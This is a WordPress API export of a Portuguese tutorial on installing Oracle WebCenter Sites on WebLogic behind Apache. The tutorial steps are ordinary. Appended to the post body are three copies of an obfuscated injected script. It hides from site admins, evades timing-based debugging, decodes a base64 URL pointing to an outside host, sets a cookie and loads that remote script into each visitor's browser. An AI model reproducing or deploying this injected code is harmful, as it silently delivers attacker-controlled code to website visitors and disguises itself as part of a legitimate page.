{"id":4016,"date":"2013-11-21T00:27:02","date_gmt":"2013-11-21T02:27:02","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4016"},"modified":"2025-10-26T22:32:30","modified_gmt":"2025-10-27T01:32:30","slug":"instalacao-webcenter-sites-no-weblogic","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/11\/21\/instalacao-webcenter-sites-no-weblogic\/","title":{"rendered":"Instala\u00e7\u00e3o WebCenter Sites no WebLogic"},"content":{"rendered":"<p>Para instalar o WebCenter Sites, com as configura\u00e7\u00f5es que eu recomendo (Linux, Base Oracle, WebLogic e Apache), siga os seguintes passos (caso tenha alguma d\u00favida, envie nos coment\u00e1rios):<\/p>\n<ul>\n<li>Crie um banco de dados ou utilize um existente<\/li>\n<li>Crie um usu\u00e1rio para o WebCenter Sites com os seguintes privil\u00e9gios de sistema:\n<ul>\n<li>CREATE SESSION<\/li>\n<li>CREATE TABLE<\/li>\n<li>CREATE VIEW<\/li>\n<li>UNLIMITED TABLESPACE<\/li>\n<\/ul>\n<\/li>\n<li>Instale o WebLogic Server (instala\u00e7\u00e3o padr\u00e3o)<\/li>\n<li>Crie um novo dom\u00ednio (cria\u00e7\u00e3o padr\u00e3o)\n<ul>\n<li>Na tela \"Select Optional Configuration\", selecione todas os checkboxes. Clique em Next<\/li>\n<li>Altere o nome do servidor e a porta, para o desej\u00e1vel e clique em Nexto.<\/li>\n<li>Para ambiente de produ\u00e7\u00e3o, adicione pelo menos um managed server e clique em Next.<\/li>\n<li>Se voc\u00ea n\u00e3o est\u00e1 criando um cluster, clique em Next, caso contr\u00e1rio configure.<\/li>\n<li>Crie uma machine e clique em Next.<\/li>\n<li>Associe os servidores \u00e0 machine criada e clique em Next.<\/li>\n<li>Siga a instala\u00e7\u00e3o at\u00e9 o fim.<\/li>\n<\/ul>\n<\/li>\n<li>Inicie o Admin Server<\/li>\n<li>Em ambientes que n\u00e3o s\u00e3o de produ\u00e7\u00e3o \u00e9 interessante <a title=\"Desabilitar verifica\u00e7\u00e3o de hostname em SSL no WebLogic\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2013\/01\/23\/desabilitar-verificacao-de-hostname-em-ssl-no-weblogic\/\" target=\"_blank\" rel=\"noopener\">desabilitar a verifica\u00e7\u00e3o de hostname<\/a><\/li>\n<li>Para execu\u00e7\u00e3o de opera\u00e7\u00f5es via linha de comando, <a title=\"Habilitando Tunneling no WebLogic\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2013\/11\/20\/habilitando-tunneling-no-weblogic\/\" target=\"_blank\" rel=\"noopener\">habilite o tunneling<\/a>.<\/li>\n<li>Reinicie o WebLogic<\/li>\n<li>Edite o arquivo &lt;DOMAIN&gt;\/bin\/setDomainEnv.sh e aumente o Max PermGen para no m\u00ednimo 192MB se sua JVM n\u00e3o for o JRockit.<\/li>\n<li>Edite o arquivo &lt;DOMAIN&gt;\/bin\/startWebLogic e adicione as seguintes vari\u00e1veis (altere o conte\u00fado que est\u00e1 entre: &lt; &gt;, n\u00e3o se preocupe se voc\u00ea ainda n\u00e3o tem o caminho da instala\u00e7\u00e3o do cs e da aplica\u00e7\u00e3o do cs, isso poder\u00e1 ser alterado posteriormente e n\u00e3o afeta a iniciliaza\u00e7\u00e3o do WebLogic):<\/li>\n<\/ul>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">JAVA_OPTIONS=&quot;-Djava.io.tmpdir= -Dfile.encoding=UTF-8 -Dnet.sf.ehcache.enableShutdownHook=true -Djava.net.preferIPv4Stack=true -Djava.library.path=&lt;INSTALA\u00c7\u00c3O DO CS&gt;\/bin ${JAVA_OPTIONS}&quot;\n\nCLASSPATH=&quot;&lt;INSTALA\u00c7\u00c3O DO CS&gt;\/bin:$CLASSPATH&quot;\n\nPRE_CLASSPATH=&quot;&lt;APLICA\u00c7\u00c3O CS&gt;\/WEB-INF\/lib\/commons-lang-2.4.jar:$PRE_CLASSPATH&quot;\n<\/pre>\n<ul>\n<li>No console do WebLogic, adicione um novo datasource n\u00e3o XA (driver Thin) para o usu\u00e1rio configurado anteriormente.<\/li>\n<li>Altere o pool\n<ul>\n<li>Selecione o datasource criado<\/li>\n<li>Clique em Configuration, Connection Pool<\/li>\n<li>Mude o Initial Capacity para 10 e o Maximum Capacity para 100 e clique em Save<\/li>\n<\/ul>\n<\/li>\n<li>Instale o Apache (opcional, mas recomendado para servir os conte\u00fados est\u00e1ticos)<\/li>\n<li>Verifique se o Apache tem o m\u00f3dulo correto: httpd -l | grep 'mod_so' (deve retorar mod_so.c, caso contr\u00e1rio, instale corretamente o apache habilitando o mod_so - --enable-module=so)<\/li>\n<li>Copie o arquivo &lt;WL_HOME&gt;\/wlserver_10.3\/server\/plugin\/&lt;SO&gt;\/&lt;VERSAO&gt;\/mod_wl_22.so para a pasta &lt;APACHE_HOME&gt;\/modules<\/li>\n<li>Crie um arquivo wcs.conf dentro da pasta conf.d ou edite o arquivo httpd.conf e insira o seguinte (altere para os sua configura\u00e7\u00e3o se for cluster e edite o conte\u00fado entre &lt; &gt;):<\/li>\n<\/ul>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nLoadModule weblogic_module modules\/mod_wl_22.so\n&lt;IfModule mod_weblogic.c&gt;\n   WebLogicHost &lt;IP&gt;\n   WebLogicPort &lt;PORTA&gt;\n&lt;\/IfModule&gt;\n&lt;Location \/cs&gt;\n   SetHandler weblogic-handler\n&lt;\/Location&gt;\n&lt;Location \/cas&gt;\n   SetHandler weblogic-handler\n&lt;\/Location&gt;\n<\/pre>\n<ul>\n<li>Reinicie o apache<\/li>\n<li>Fa\u00e7a o download do WebCenter Sites e descompacte-o<\/li>\n<li>Execute o instalador csInstall.sh e clique em Next e Next<\/li>\n<li>Especifique o caminho de instala\u00e7\u00e3o do sites e atualize o startWebLogic.sh (passo realizado antes) com esse caminho e clique em Next<\/li>\n<li>Selecione Development ou Delivery. A diferen\u00e7a aqui \u00e9 que o Delivery system n\u00e3o tem a op\u00e7\u00e3o de Contributor, \u00e9 mais segura e evita que usu\u00e1rios alterem o conte\u00fado. Ou seja, \u00e9 para ambiente de produ\u00e7\u00e3o. Enquanto que o Development or Content Management system \u00e9 utilizado para editar os assets e prepara o conte\u00fado para um Delivery system. Clique em Next.<\/li>\n<li>Continue seguindo as telas e configurando de acordo com o seu ambiente at\u00e9 chegar na tela Installation Actions, logo ap\u00f3s clicar no bot\u00e3o Install.<\/li>\n<li>Inicie o Weblogic e o Managed Server.<\/li>\n<li>Fa\u00e7a deploy do cs e cas que est\u00e3o na pasta de deploy manual especificado na instala\u00e7\u00e3o com o target no managed.<\/li>\n<li>Verifique esses arquivos: cas-cache.xml , cs-<br \/>\ncache.xml , ss-cache.xml e linked-cache.xml que est\u00e3o dentro da pasta &lt;app cs&gt;\/WEB-INF\/classes e esse arquivo:\u00a0jbossTicketCacheReplicationConfig.xml dentro da pasta &lt;instala\u00e7\u00e3o do cs&gt;\/bin e garanta que tenham endere\u00e7os e portas sem conflito com outras e se for cluster, garanta que os clusters tenham os mesmos valores.<\/li>\n<li>Clique em Test na tela da instala\u00e7\u00e3o.<\/li>\n<li>Finalize a instala\u00e7\u00e3o.<\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para instalar o WebCenter Sites, com as configura\u00e7\u00f5es que eu recomendo (Linux, Base Oracle, WebLogic e Apache), siga os seguintes passos (caso tenha alguma d\u00favida, envie nos coment\u00e1rios): Crie um banco de dados ou utilize um existente Crie um usu\u00e1rio <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/11\/21\/instalacao-webcenter-sites-no-weblogic\/\">Continue lendo  <span class=\"screen-reader-text\">  Instala\u00e7\u00e3o WebCenter Sites no WebLogic<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,64,9,6],"tags":[],"class_list":["post-4016","post","type-post","status-publish","format-standard","hentry","category-java","category-linux","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4016","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4016"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4016\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4016"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4016"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4016"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}